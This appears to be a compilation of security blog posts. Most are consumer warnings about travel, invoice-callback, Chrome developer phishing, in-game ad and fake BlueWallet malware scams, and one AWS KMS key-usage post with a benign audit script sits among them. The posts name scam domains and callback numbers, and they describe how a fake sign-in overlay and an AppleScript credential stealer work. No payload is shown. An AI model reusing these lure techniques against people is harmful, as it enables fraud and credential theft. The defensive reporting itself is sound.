Attackers create convincing clones of airline, hotel, and travel booking websites, often promoted through online ads or SEO poisoning (manipulating search engine results). Victims enter payment details, receive fake confirmations, and only discover the fraud later.

Last year we uncovered a campaign using fake Booking.com websites that tricked visitors into infecting their own devices with a Remote Access Trojan (RAT).

Phishing messages about reservation problems

Emails, texts, or messaging app notifications may claim there’s a problem with your booking and urge you to click a link, open an attachment, or call a number. The scammers often impersonate legitimate travel brands and may include real stolen data from previous breaches.

Earlier this year, we wrote about a Booking.com breach that provided scammers with a lot of useful information that could make their messages appear more convincing.

Vacation rental fraud

Scammers post fake listings or hijack legitimate ones on rental platforms. They typically encourage off-platform communication or payments to avoid built-in protections.

In 2024, one of our researchers encountered exactly this type of scam. A supposedly legitimate Airbnb listing in Amsterdam turned out to be fake, and the scammer sent an email claiming to be from TripAdvisor in an attempt to collect payment details.

“Too good to be true” deals

Deep discounts on flights or accommodation are used to lure victims into paying for offers that don’t exist.

If a deal seems unusually generous, look for the catch. Be especially cautious when advertisers claim the offer will end very soon. Creating urgency is one of the oldest tricks in the scammer playbook.

Scam or legit? Scam Guard knows.

TRY IT NOW

Booking.com impersonation scams

Booking.com has become an increasingly popular brand for scammers to impersonate. According to our—anonymized—Scam Guard data, we’ve recently seen:

• Fake cashback emails promising a €435 refund that lead to phishing websites
• In-app messages requesting an additional reservation fee
• Emails containing PDF attachments that require a “secure viewer,” which turns out to be malware
• WhatsApp messages claiming credit card details are missing and directing users to phishing sites
• Text messages linking to fake Booking.com pages and demanding card verification before a deadline

The number of scams impersonating Booking.com has been growing. Since the breach disclosed in April, Scam Guard data shows a 56% increase in Booking.com-related scams compared to the previous period, with weekly volume up consistently across five straight weeks.

How to book travel safely

There are a few simple things that can dramatically reduce your risk:

• Use secure payment methods. Credit cards offer better fraud protection than debit cards or bank transfers. Never pay anyone asking for payment in cryptocurrencies or gift cards.
• Stick to trusted platforms. Even though these are not guaranteed to be safe, using them is better than gambling on an unknown platform.
• Don’t click on sponsored search results. I cannot say this often enough.
• Verify the existence of the booked accommodation through other channels.
• Treat requests to move communication or payment to another platform as suspicious.
• Consider urgent language, unexpected attachments, and mismatched sender domains as red flags.
• Downloads needed to open an attachment are not to be trusted. These downloads often turn out to be malware. To block and remove malware, use an up-to-date, real-time anti-malware solution.

Pro tip: Malwarebytes Browser Guard will block known phishing websites and can even recognize suspicious websites that are not in our database yet.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

A new batch of fake payment invoices is being staged right now, and we caught the campaign while it was still being put together. The emails impersonate PayPal, Amazon, and Geek Squad, and others, and they all share one goal: to scare you into calling a phone number where a fake “support agent” is waiting.

What makes this wave unusual is that some of the templates we recovered still contained blank fields where the phone number and price should have been, while others were already complete and in circulation. We caught the campaign mid-rollout.

What’s the scam?

If you receive an email that looks like a receipt—“Your subscription renewed for $349,” “You sent a payment of $598.96”—and it tells you to call a number to cancel or dispute the charge, stop.

There is no charge. The email exists to get you on the phone with a scammer who will then try to talk you into handing over remote access to your computer, your card details, or a “refund” that somehow requires you to send them money.

This particular flavor is called a “phantom invoice” or “refund” scam, and the trick is psychological, not technical. That’s why these emails can often slip past spam filters: there’s often no malicious attachment or link for security systems to analyze. The scam is in the phone number you’re urged to call.

If you didn’t make the purchase, there’s no need to call the number in the email to cancel it. Real companies don’t pressure customers into resolving unexpected charges through unsolicited phone numbers.

The goal is simple: create enough concern to get you to call. You see a significant charge you don’t recognize, say $499, and your first instinct is to stop it. The invoice helpfully provides a number to call “if this wasn’t you.” So you call, and now you’re talking to the scammer.

From there, the conversation usually leads to one of a few outcomes. They may ask you to install software so they can “fix” the charge, giving them access to your computer. They may ask for your card or bank details to “process the refund.” Or they may “accidentally” refund too much and ask you to send the difference back, usually by gift card or bank transfer.

The invoice is just the bait, while the phone call is the trap.

These emails are convincing, and some are already reaching inboxes. The good news is that simply receiving one doesn’t put you at risk. The scam only works if it succeeds in getting you to call the number provided. If you recognize the message as fraudulent and delete it, the attack stops there.

If you did call the number and followed instructions from a scammer, run a virus scan and check your bank accounts. Change your critical passwords, enable multi-factor authentication (MFA), and make sure your security software is up to date.

How we caught it half-built

Most scam investigations start after the damage is done. This one was different. We came across a cluster of nearly identical invoice templates that were clearly part of the same kit, and several of them were incomplete.

Where a finished scam email would show a phone number, some of these showed the literal text #TFN# instead, which is just a placeholder. (“TFN” is the scammers’ shorthand for toll-free number, the callback line they route victims to.) Others left the price as #PRICE#, the date as #DATE#, and the recipient as #EMAIL#. These are merge fields—the blanks a bulk-sending tool fills in automatically before a campaign goes out.

Finding those placeholders still in place told us that the operation was still being assembled. Some templates were still half-finished, while others were already complete and carrying live callback numbers. We’d caught the campaign mid-rollout, between being built and fully launched.

Why these invoices look believable

The scammers use familiar brands such as PayPal, Amazon, and Geek Squad. They’re companies people expect to receive receipts and renewal notices from, which lowers suspicion.

The charges are also carefully chosen. Amounts in the few-hundred-dollar range are large enough to cause concern but still seem plausible as a subscription renewal or online purchase.

Many messages add urgency, telling recipients to call quickly to dispute or cancel the charge. This pressure is designed to stop people from verifying the transaction independently.

Some invoices even combine trusted brands, such as claiming a payment was sent through PayPal to Amazon. Referencing multiple well-known companies makes the message appear more credible.

How to spot a fake invoice

The good news is that these scams share warning signs. Once you know what to look for, they get a lot easier to catch. Watch for any of these:

• A charge you don’t remember making. If you don’t recognize the charge, verify it independently through your account or bank. If there’s no record of it, the invoice is likely a lure designed to get you to call.
• A ticking clock. “Call within 12 hours,” “cancel before it renews,” or “act immediately” provide fake urgency designed to stop you thinking. Real billing problems can wait while you check.
• Brands you trust, used as cover. The more familiar the logo, the less carefully people read. Scammers borrow trust they didn’t earn.
• Odd details that don’t quite fit. A PayPal email “from” Amazon, a stray address that belongs to no one, or slightly off wording. Trust the small things that feel wrong.
• Pressure to keep you on the phone. Once you call, a real company would never stop you from hanging up to verify, but a scammer will.

If even one of these is present, treat the whole message as suspicious.

Remember the single rule that defeats this entire scam: A genuine company will never rush you onto a call to undo a payment you never made. If you’re not sure whether a charge is real, close the email and check your account the normal way: by typing the company’s website into your browser yourself, or calling the number on the back of your bank card.

Pro tip: Malwarebytes Scam Guard can help spot scams like these and guide you in what to do next, while Browser Guard will block you from accessing scam websites.

What to do if one of these lands in your inbox

If you receive a suspicious invoice like the ones described here, take a few simple precautions:

• Don’t call the number. That’s the core of the scam. Legitimate refunds or cancellations don’t require you to call a number from an unsolicited receipt.
• Don’t reply or click anything. Treat the message as suspicious, even if it looks legitimate.
• Verify charges independently. If you’re concerned a charge might be real, log in directly to PayPal, your bank, or the retailer by typing the address yourself and reviewing your transaction history.
• Report it. Forward suspected phishing emails to the impersonated company’s abuse address and, in the US, report them to the FTC at reportfraud.ftc.gov. Reporting helps disrupt scam operations.
• If you already called, end the conversation. Don’t install any software they recommend. If you granted remote access or shared payment information, contact your bank immediately and run a trusted security scan on your device.
• Be wary of urgency. Phrases like “within 12 hours” or “cancel now” are designed to pressure you into acting before you think. Take the time to verify the claim independently.

Scammers are increasingly shifting to tactics that software can’t easily inspect. A phone number in an email is difficult for security tools to evaluate, and the actual scam happens over a phone call instead of through a malicious link or attachment.

That’s why finding this campaign during rollout matters. Instead of seeing the damage afterward, we got a look at the preparation: unfinished templates, incomplete details, and the scam kit before it was fully deployed.

The best defense is simple: if an unexpected invoice tells you to call a number immediately, stop and verify the charge independently first.

Indicators of compromise

Domains

invoicepdfin[.]xyz

invoicepdfus[.]xyz

invoicepdfusa[.]xyz

invoicerep[.]xyz

invoicestatement[.]xyz

invoicestm[.]xyz

Callback numbers

804-392-2793

801-640-8589

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

Have you ever gotten a phone call and had a gut feeling that those random digits looked extra suspicious? It happens to millions of people every day. While many people have trained themselves to ignore such calls, they still pose a threat across the US. In fact, scammers stole more than $21 billion from Americans last year, according to the latest IC3 report.

That’s why we created Scam Number Check.

Now, instead of risking a call with a scammer, you can look up a number and get a clear answer in seconds.

How to use Scam Number Check

We know scam calls happen every day, and they can cost victims a lot of money. So we designed Scam Number Check to be really simple to use. It’s free, private, and instant.

Here’s how:

• Go to Malwarebytes’ Scam Number Check and enter the phone number.
• If the number looks suspicious, you can choose whether to block or report it. Remember, reporting suspicious numbers helps protect others.

Understanding the results

Scam Number Check can provide one of three verdicts when you check a phone number. Here’s what each means and how you should proceed:

• Do not trust this number. Multiple people have flagged this number as a scam. Don’t call back, don’t share personal info, and don’t send money if they ask.
• This number seems safe. Based on available data, this number has not been associated with suspicious activity. It is our recommendation that you proceed with caution in this case.
• We don’t have enough info. No information is available in the threat intelligence database. This doesn’t mean it’s safe, so proceed with caution.

Why it matters

Scammers like to pile on the pressure and create fake urgency so you don’t have time to think. If you don’t recognize a number, let it go to voicemail first. Then check the number with Scam Number Check to see if it’s been linked to scams or suspicious activity. This simple extra step might help you avoid sharing personal information, sending money, or falling for impersonation scams.

Scams are getting harder to spot every day. By making Malwarebytes even better at catching threats, we’re helping you stay one step ahead of scammers and cybercriminals.

Don’t recognize that number? Check it now.

Phishing has changed. Slowly but surely, cybercriminals are turning to infostealers instead.

Traditional phishing hasn’t gone away. Far from it. But many attackers are no longer focused solely on tricking victims into entering usernames and passwords on fake login pages. Instead, they are using infostealers to quietly collect passwords, cookies, browser data, and other sensitive information from infected devices.

This approach is attractive because it scales well and reduces friction. Instead of relying on a victim to type credentials into a fake site, the malware can harvest logins already saved in browsers, session tokens, autofill data, cryptocurrency wallet details, and even files that contain useful information.

This makes the attack chain less visible. A traditional phishing email often leaves obvious clues: a suspicious link, a fake login page, or a strange attachment. Infostealers are different. They can arrive through malicious online ads (malvertising), cracked software, fake browser updates, game cheats, or dubious download sites, and once installed, they work in the background, stealing whatever the victim’s device has in store.

Part of this shift could be due to the widespread adoption of multi-factor authentication (MFA). By stealing session cookies, cybercriminals can bypass MFA, so they can access accounts without needing a password or authentication code.

Another factor is the rise of the malware-as-a-service (MaaS) ecosystem. Infostealers are cheap to deploy, easy to scale, and highly profitable. Rather than building a full attack chain themselves, many criminals buy access to ready-made stealer kits, loaders, or initial access services from underground vendors. This lowers the barrier to entry and allows less-skilled attackers to run credential theft operations.

In many cases, infostealers are just the first stage of a larger criminal operation. The stolen data is collected, packaged, and sold to other criminals interested in the harvested information. These buyers may specialize in fraud, account takeover, business email compromise, or ransomware. A single infected machine can generate multiple revenue streams: credentials for one buyer, session cookies for another, and corporate access or wallet data for a third.

That division of labor is one reason infostealers have become so persistent. Operators can update their code, rotate infrastructure, and launch new campaigns with minimal effort, while affiliates handle distribution through phishing, malvertising, fake downloads, or social media lures.

How to stay safe

Because infostealers commonly arrive through malvertising, fake browser updates, and one-click downloads, it’s worth treating ads and pop-ups with healthy skepticism. My personal tip: Never click on sponsored ads. Instead, visit official websites directly and download software only from trusted sources such as official vendor sites or app stores.

Another increasingly popular technique is ClickFix, a social engineering attack that tricks users into infecting their own devices. Never run commands or scripts copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. If a website tells you to execute a command or perform a technical action, check official documentation or contact support before proceeding.

Picked up something you shouldn’t have?

RUN A FREE VIRUS SCAN

Pirated software, game cheats, and cracked tools remain some of the most common delivery methods for infostealers. These downloads often come bundled with malware that installs alongside the software you intended to get. The same caution applies to many browser extensions and add-ons that promise extra features or convenience. Stick to extensions from reputable developers, check reviews and permissions carefully, and avoid installing any add-on that asks for more access than it plausibly needs.

Phishing emails are still a major threat, but many can be spotted if you slow down and verify before clicking. Even if an email looks like it comes from a trusted brand, treat unsolicited attachments and links with caution, especially when they urge you to open a file, install something urgently, or fix a billing issue. If you’re unsure, check the sender address, look for typos or odd phrasing, and confirm the request through a separate channel such as the company’s official website rather than the link in the email.

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

As you scale your use of Amazon Web Services (AWS), managing KMS keys becomes increasingly important. Whether you manage a handful of keys or thousands across multiple AWS accounts and AWS Regions, there’s often a need to audit key usage to help you meet compliance requirements, evaluate your risk posture, and optimize key management costs. However, determining which keys are actively in use and which have been sitting idle can be a time consuming and complex task.

To help with this, AWS Key Management Service (AWS KMS) has launched the GetKeyLastUsage API, a new feature that you can use to quickly determine when each key was last used for a cryptographic operation, significantly enhancing your audit capabilities and key lifecycle management. For more information, see Determine past usage of a KMS key.

Before this launch, the primary way to audit key usage was through AWS CloudTrail logs. CloudTrail captures every cryptographic operation by default, so the data is available. The difficulty is turning that data into actionable insight. You need to identify which keys to examine, query the right logs, and repeat that process frequently enough to maintain an accurate view. For the most recent 90 days, CloudTrail event history makes this manageable. Beyond that, you need to create a dedicated trail to deliver logs to Amazon Simple Storage Service (Amazon S3) for long-term retention, then query those logs using tools such as Amazon Athena to determine when a key was last used.

Determine when a key was last used

AWS KMS now provides a direct way to see when a key was last used for cryptographic operations. You can also see this information using the AWS Management Console for AWS KMS and the AWS Command Line Interface (AWS CLI).

The GetKeyLastUsage API returns the date and time of the most recent cryptographic operation performed with a KMS key, without requiring you to search through CloudTrail logs. The API returns the date and time of the last key operation, the type of operation performed, CloudTrail event ID, and KMS request ID. You can access this information for all customer-managed keys and AWS managed keys irrespective of key spec, key origin, key store, or key usage type.

In addition, you can restrict a key from being disabled or scheduled for deletion if it was recently used, by incorporating this usage information as a condition within the KMS key policy. See the Preventing accidental key deletion with policy controls section for implementation details.

About the tracking period

One of the important concepts you must understand before relying on the last usage information reported on a KMS key is the tracking period. The tracking period is the date from which AWS KMS began tracking cryptographic activity for the key. Tracking began on April 23, 2026, for most AWS Regions. Understanding the tracking period is critical because it determines whether the absence of usage information means a key has never been used or only hasn’t been used since tracking started.

For example, if you have a key created on January 1, 2026, and you check its usage, any cryptographic operations that occurred between January 1 and April 22 wouldn’t be captured in the usage information. Thus, you can’t conclude that it’s never been used, because it might have been used in the months before tracking began.

Getting started

There’s nothing to enable or additional configuration required to view usage information on last cryptographic operation performed on your KMS keys.

To view KMS key usage:

1. Go to the AWS KMS console and choose Customer-managed keys in the navigation pane and select a key. Look for Last used on the general configuration.
   
   

   Figure 1: KMS key general configuration page

2. Choose the link under Last used to see additional details such as Timestamp, Operation, and the CloudTrail event ID.
   

   Figure 2: View last used details including timestamp, operation, and event ID

3. The Last used column is also shown when you attempt to schedule key deletion, so that you can make informed decisions.
   
   

   Figure 3: Scheduled key deletion warning

API reference

See the following examples for ideas on how to use the GetKeyLastUsage API to better understand KMS key usage.

Use case 1: Cost optimization through unused key cleanup

If you manage thousands of AWS KMS keys distributed across multiple AWS accounts, you might have keys that have remained unused since creation or keys that are no longer needed. By cleaning up these keys, you can reduce operational costs and minimize your security footprint. However, without visibility into which keys are actively performing cryptographic operations, it can be difficult to distinguish between keys protecting critical workloads and those that can be safely decommissioned.

Note that there are some precautions that you should take before scheduling key deletion. While the last usage information can help identify unused keys, it shouldn’t be the only factor in deciding whether to delete or disable a key. The last usage information tells you when a key was last used, not whether it will be needed in the future. A key might be unused for months but still required to decrypt files, for compliance scenarios or disaster recovery as shown in figure 4.

When you identify a potentially unused key, first disable it using DisableKey and monitor your applications and services for any encryption or decryption failures.

Figure 4: A use case where GetKeyLastUsage doesn’t accurately reflect whether a KMS key is still required

As an example, Amazon EBS volumes only interact with KMS keys during specific lifecycle events like volume creation, attachment, and detachment. After a volume is attached to an Amazon Elastic Compute Cloud (Amazon EC2) instance, the plaintext data encryption key is cached in the Nitro Card hardware, and all subsequent read/write operations use this cached key without any further AWS KMS API calls. This means a production volume running continuously for months or years will show no KMS activity during that entire period. However, the volume remains completely dependent on that KMS key for any future operations like instance restarts, volume reattachments, or disaster recovery scenarios. If someone deletes the KMS key, the encrypted data key stored with the volume can never be decrypted again, making the volume’s data permanently and irreversibly inaccessible. Before deleting any KMS key, you must verify it has no associated EBS volumes or snapshots, regardless of how long ago the last KMS API call occurred.

AWS provides a mechanism where you can create a CloudWatch alarm that notifies you if a key pending deletion is being accessed, giving you an opportunity to cancel the deletion before data becomes inaccessible.

Solution with GetKeyLastUsage API

Here’s a sample script that scans all customer-managed keys in an account and retrieves each key’s last usage date through the GetKeyLastUsage API. It accepts two optional inputs: a threshold in days and an AWS Region. The script filters and displays only keys that haven’t been used within the specified period, presenting results in a table with the key name, AWS account ID, AWS Region, and last usage date. This can help you identify unused encryption keys.

The following is an example to scan all keys that haven’t been used in the last 180 days in the us-east-1 Region:

./script.sh 180 us-east-1
#!/bin/bash
DAYS=${1:-90}
REGION=${2:-$(aws configure get region)}
CUTOFF=$(date -v-${DAYS}d +%s 2>/dev/null || date -d "-${DAYS} days" +%s)
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
printf "Showing keys not used in the last %s days (Region: %s)\n\n" "$DAYS" "$REGION"
printf "%-50s %-15s %-20s %-15s\n" "Key Name" "Account ID" "Region" "Last Usage Date"
printf "%.0s-" {1..100}
printf "\n"
for key_id in $(aws kms list-keys --region $REGION --query 'Keys[*].KeyId' --output text); do
key_manager=$(aws kms describe-key --region $REGION --key-id $key_id --query 'KeyMetadata.KeyManager' --output text)
if [ "$key_manager" = "CUSTOMER" ]; then
last_usage=$(aws kms get-key-last-usage --region $REGION --key-id $key_id)
timestamp=$(echo $last_usage | jq -r '.KeyLastUsage.TimeStamp // empty')
if [ -z "$timestamp" ]; then
last_epoch=0
else
last_epoch=$(date -jf "%Y-%m-%dT%H:%M:%S" "$(echo $timestamp | cut -d. -f1)" +%s 2>/dev/null || date -d "$timestamp" +%s)
fi
if [ "$last_epoch" -lt "$CUTOFF" ]; then
key_alias=$(aws kms list-aliases --region $REGION --key-id $key_id --query 'Aliases[0].AliasName' --output text)
key_name=${key_alias:-$key_id}
[ "$key_name" = "None" ] && key_name=$key_id
if [ -z "$timestamp" ]; then
tracking_date=$(echo $last_usage | jq -r '.TrackingStartDate' | cut -d'T' -f1)
last_used="${tracking_date}*"
else
last_used=$(echo $timestamp | cut -d'T' -f1)
fi
printf "%-50s %-15s %-20s %-15s\n" "$key_name" "$ACCOUNT_ID" "$REGION" "$last_used"
fi
fi
done
printf "\n* = No operations performed since tracking started\n"

Use case 2: Preventing accidental key deletion with policy controls

Organizations frequently face the risk of accidental key deletions, which can have severe operational consequences. Despite precautions and safety measures, accidents can happen. A key might be deleted because someone believes it’s no longer in use, only to discover that critical applications or workloads depend on it. This results in data access failures, application downtime, and emergency recovery procedures. Without visibility into recent key usage, teams lack the information needed to make safe disable decisions or implement effective safeguards.

Solution with policy based controls

To prevent KMS keys from being accidentally Disabled or Deleted use the kms:TrailingDaysWithoutKeyUsage condition key in key policies to automatically block deletion or disabling of recently used keys:

1. Open the AWS KMS console and choose Customer managed keys in the navigation pane.
2. Select the key you want to protect.
3. In the Key policy tab, choose Edit.
4. In the policy editor, add the following statement:

{
  "Sid": "PreventDeletionOfRecentlyUsedKeys",
  "Effect": "Deny",
  "Principal": "*",
  "Action": [
    "kms:ScheduleKeyDeletion",
    "kms:DisableKey"
  ],
  "Resource": "*",
  "Condition": {
    "NumericLessThanEquals": {
      "kms:TrailingDaysWithoutKeyUsage": "365"
    }
  }
}

5. Choose Save changes.

The policy prevents deletion or disabling a key if it was used within the past 365 days. You can adjust the threshold to match your organization’s requirements. For more information about the condition key, see kms:TrailingDaysWithoutKeyUsage.

Important considerations

When reviewing key usage for possible deletion, consider the following:

• Key deletion is irreversible and makes encrypted data unrecoverable. AWS enforces a 7–30 day waiting period. During this time, monitor usage attempts and cancel the deletion if necessary. Delete a key only if you’re certain that no data has been encrypted or will be encrypted with it. Consider disabling the key first to test the impact of unavailable keys.
• CloudTrail remains authoritative because it provides the full audit trail. GetKeyLastUsage quickly tells you when and what operations occurred, but CloudTrail shows you who made the request and with what parameters. Learn more about logging KMS API calls with CloudTrail.

Conclusion

The GetKeyLastUsage API enhances your KMS key management capabilities by providing immediate access to usage data that was previously only present in CloudTrail logs. Start by opening the AWS KMS console and checking the Last used field for any customer-managed keys and AWS managed keys to see this information in action. For broader key auditing, integrate the API into your existing automation scripts using the AWS CLI examples provided.

If you have feedback about this post, submit comments in the Comments section below.

A new scam is targeting people who publish Chrome extensions.

The scam arrives as an official-looking “copyright removal request” claiming your extension is about to be removed from the Chrome Web Store and that you have 48 hours to appeal.

It even looks personalized. After you enter your extension’s ID to “verify” it, the page pulls in your extension’s real name and icon. But it’s all part of a phishing attack designed to steal your Google username and password.

If attackers gain access to a developer account, they may be able to take over the extension, access developer resources, or potentially push malicious updates to users.

What’s actually going on

If you’ve published a Chrome extension, you might encounter a page that looks like an official Google notice warning that your extension is being removed for copyright infringement.

The page asks you to enter your extension ID, then displays your real extension details alongside a complaint number and countdown clock. It pressures you to sign in with Google to file an appeal before time runs out.

None of it is real. The page is not operated by Google. The complaint, deadline, and countdown are fabricated. The goal is to trick you into entering your Google username and password into a fake sign-in window controlled by the scammer.

The most important rule to remember: Genuine warnings about your extension appear in your Chrome Web Store developer dashboard, not on a third-party website.

Why scammers want developer accounts

Chrome extensions have access to users’ browsers, and they can be updated automatically.

If attackers gain control of a developer account, they may be able to modify an extension, access developer resources, or potentially distribute malicious updates to existing users.

That’s what makes developer accounts such attractive targets, and why scams like these are prevalent.

What the scam looks like

The page is hosted on a domain that has nothing to do with Google. In the version we analyzed, the site used the address dmca-chrome-extensions[.]click.

Despite that, it uses Google’s branding and presents itself as a “Chrome Web Store Developer Policy Center.”

The page first asks for the link or ID of your extension. That seems harmless, which is exactly why it works.

It uses your own extension to look convincing

After you enter your extension ID, the page briefly displays a “Looking up extension…” message and then builds a fake takedown notice around your real extension.

When we tested the scam with Malwarebytes Browser Guard, it displayed our genuine extension name, icon, and Chrome Web Store listing alongside the fake complaint.

The site is simply pulling publicly available information from your extension’s Chrome Web Store page. Anyone can see that information. The scammers use it to make the fake notice appear legitimate.

Everything else is invented.

The complaint number, “date received,” 48-hour deadline, countdown timer, and timeline of events are generated by the scam page itself.

The countdown is there to rush you

A red warning banner claims your extension will be permanently removed unless you act within 48 hours, and a clock counts down by the second. The whole layout pushes you toward one button: sign in with Google to “verify your identity” and file your appeal. 

The urgency is designed to create pressure so you react before taking the time to verify the claim.

The fake sign-in window

When you click “Continue to verification,” a Google sign-in window appears with a title bar, padlock, and address showing accounts.google.com.

It looks authentic, but it isn’t.

The “window” is actually part of the web page itself. The padlock and address are just graphics designed to look like a real browser window.

The scammers even tailor the appearance to match your operating system, showing Mac-style windows on macOS and Windows-style windows on Windows devices.

Anything typed into this fake sign-in form is sent directly to the scammers.

One giveaway is that the window cannot leave the browser page. Try dragging it to the edge of your screen and it stops at the browser border. Minimize the browser and it disappears as well.

Most importantly, your browser’s real address bar still shows the scam site’s address, not Google’s.

How to stay safe

The good news is that a few simple habits defeat this scam.

• Don’t trust the link. If you receive a warning about your extension, go directly to your Chrome Web Store developer dashboard and check there.
• Be suspicious of urgency. Legitimate policy processes don’t rely on countdown clocks to force immediate action.
• Check the address bar. A real Google sign-in page appears at accounts.google.com in your browser’s actual address bar.
• Test the window. If a sign-in window can’t be dragged outside the browser or disappears when the browser is minimized, it’s probably fake.
• Turn on stronger sign-in protection. Passkeys and hardware security keys make stolen passwords far less useful to attackers.
• Use security software with phishing and web protection. Our Browser Guard, which is also part of Malwarebytes Premium can help block malicious websites and phishing pages before you enter sensitive information.

This isn’t a crude phishing page. It uses your real extension details, mimics Google’s branding, and creates a convincing sense of urgency.

If you receive a warning about your extension, don’t follow the link and don’t race the countdown. Go directly to your Chrome Web Store developer dashboard and verify the claim there.

When in doubt, close the tab.

If you already entered your details

Act quickly.

• Change your Google password immediately from a trusted device.
• Sign out of all active sessions in your Google account security settings.
• Review connected apps and devices for anything unfamiliar.
• Turn on two-step verification, preferably using a passkey or security key.
• Check your Chrome Web Store listings for changes, uploads, or new versions you didn’t publish.

Indicators of Compromise (IOCs)

Domain

dmca-chrome-extensions[.]click

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Sometimes it happens. You’re happily playing a game on your phone or laptop when suddenly alarms pop up out of nowhere:

“Your device is infected!”

“Your iCloud is full!”

“Your account is restricted for watching porn!”

Some games can be played for free if you agree to watch ads, and in others you can get extra lives, perks, or boosters by watching ads. That’s fine, as long as you’re given a choice and the ads are legitimate.

Unfortunately, cybercriminals sometimes manage to buy advertising space and use it to defraud gamers.

Let’s look at some examples.

The iCloud storage scam, or its OneDrive equivalent, is a well-known and long-running scam that claims you need to expand your storage or all your files will be deleted. The websites these messages link to come in many forms, but they all ask for personal and payment details to complete the upgrade.

“Your account has been restricted.
We have detected that your device has been hacked after visiting adult websites.
Solution:
1:Click the “OK” button below;

2:You will be redirected to App Store;

3:Install and open the app, then run the cleanup program.”

This ad is a scam and uses a classic scare tactic. It falsely claims your device has been hacked and tries to pressure you into clicking “OK” and installing a cleanup app.

Messages like this sometimes claim to be from your ISP, a “Security Department,” or a generic “Safety Center.”

“Apple Security Alert
8 viruses have been detected on your iPhone. Now iOS is damaged by 72%. Further damage to the system will result in device lockup and loss of all data within two minutes.
Please click the button below to remove all viruses.”

This is another fake warning, commonly used by scammers to trick users into clicking links or downloading unnecessary or harmful software. Apple doesn’t send alerts like this, and these messages use vague threats to get your attention.

What kind of app you’re really installing if you follow the instructions depends on your device and your location. If you’re “lucky,” it’s just adware, but you might just as easily end up with an infostealer.

In many cases, you’ll end up with fleeceware, a type of deceptive mobile app where developers lure users in with short free trials that quickly convert into hidden subscription fees, sometimes costing hundreds of dollars per month. These apps often offer some functionality to stay on the barely legal side of things, but at wildly inflated prices.

How to stay safe

The best response to these messages is simply to ignore them.

Real system alerts come from the OS, not from inside a game window or browser tab. Here’s a simple test: If you can switch apps and the “warning” disappears with the browser/game, it was not a system‑level alert.

Check the destination URLs before proceeding. Apple, Google, and major ISPs use predictable domains. A familiar-looking URL is not proof that a message is legitimate, but if the URL looks suspicious, it should definitely be treated as a scam.

Scam or legit? Scam Guard knows.

TRY IT NOW

You may arrive at something that looks like the official App Store or Google Play Store. Be wary of lookalike app stores and unofficial download sites, but if you are on the real store, the app is generally safer to install. However, it’s still worth checking reviews, permissions, and the developer before proceeding.

Visit the official website of the organization the message claims to be from and log in there. If there’s a genuine problem with your account, storage, or device, you’ll find information about it through official channels.

Use an up-to-date, real-time anti-malware solution on your devices that can detect and block malicious apps.

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

A fake website impersonating BlueWallet (a real Bitcoin wallet) is targeting Mac users with a simple but effective attack. BlueWallet itself has not been compromised. Instead, cybercriminals have stolen the name and branding of the legitimate Bitcoin wallet to make a malicious download appear trustworthy.

If you went looking for a cryptocurrency wallet and landed on one of these fake BlueWallet download pages, the site tried to trick you into opening a downloaded file in a built-in macOS tool and pressing “Run.” If you followed those instructions, the malware could steal saved passwords, browser logins, cryptocurrency wallets, documents, and other sensitive data. It also watches the clipboard for cryptocurrency wallet addresses and can replace them with attacker-controlled addresses..

That last feature is particularly dangerous. If you copy a wallet address before sending funds, the malware can silently replace it with the attacker’s address. Everything looks normal on screen, but the money goes somewhere else.

Should you worry? Only if you downloaded and ran the file. Simply visiting the page and closing it does nothing on its own. The attack depends entirely on the user opening the script and pressing play.

If you did run it, treat the machine as compromised and follow the steps below.

What to do if you may have run it

If you opened the file and pressed play, assume your device was compromised and work through these steps:

• Disconnect the machine from the network to cut the control channel
• Run a full scan of the device, and make sure you’re using up-to-date security software with web protection enabled
• From a different, trusted device, change passwords for any accounts used on the Mac, starting with email and cryptocurrency exchanges
• Move any cryptocurrency to a new wallet created on a clean device
• Treat existing seed phrases and keys as exposed
• Before sending crypto in future, verify the full destination address character by character
• Check for and remove unfamiliar files in ~/Library/LaunchAgents
• Look for a hidden .sysupd.sh file in /tmp
• Rotate cloud and SSH credentials if .ssh, .aws, or .gnupg files were present on the machine
• When in doubt, back up your data and reinstall macOS from a known-good source rather than trying to clean in place

Picked up something you shouldn’t have?

RUN A FREE VIRUS SCAN

Social engineering tricks

The most interesting part of this campaign isn’t technical. The attackers didn’t break into the Mac or bypass Apple’s security protections. They persuaded victims to run the malware themselves.

The fake website walks users through the process with a convincing download page, simple instructions, and even a keyboard shortcut. The attack succeeds because the victim trusts what they are seeing.

As operating systems get better at blocking malicious software, attackers are increasingly investing in social engineering. Instead of finding ways around security controls, they convince people to click through them.

That’s why one habit is becoming increasingly important: Be suspicious of any download that arrives with instructions to open it in a scripting tool, developer utility, or Terminal window and press “Run.”

In this campaign, a single press of ⌘R was enough to turn a Mac into a password stealer, cryptocurrency wallet thief, clipboard hijacker, and remote access tool.

Technical analysis

Stage one: The AppleScript downloader

The page lives at update-bluewallet[.]com, a domain name close enough to the real wallet (bluewallet.io) to pass a quick glance. The first thing the page does is not wait for consent. Its script calls a download routine on a two-second timer the moment the page loads, and again if the visitor clicks either of two buttons.

The file that lands in the Downloads folder is named BlueWallet Installer.applescript, an extension most people have never seen and have no instinct to distrust.

Then the page does something quietly clever. After a short delay, it rewrites its own status text to read like setup instructions: open the installer, then press the play button or ⌘R. It even draws a small blue play triangle in the text so the wording matches the real Script Editor interface the victim is about to see.

The page walks the victim through the exact motions needed to run the file.

On modern macOS, an unsigned application downloaded from the web gets quarantined and checked before it can run. A plain script opened in Script Editor and executed by the user sidesteps that flow. The person is manually instructing a trusted Apple tool to run code, so there is no notarization gate to fail.

This is why the attacker chose an AppleScript instead of a packaged app: it moves the risky action out of the operating system’s hands and into the victim’s.

The AppleScript itself is remarkably short. Stripped of its decorative comments, including a fake version number and a line claiming to be a “Brew Install Upgrade,” it runs a single base64-encoded shell command and then tells Script Editor to quit without saving, removing the evidence from view.

Decoded, that command does this:

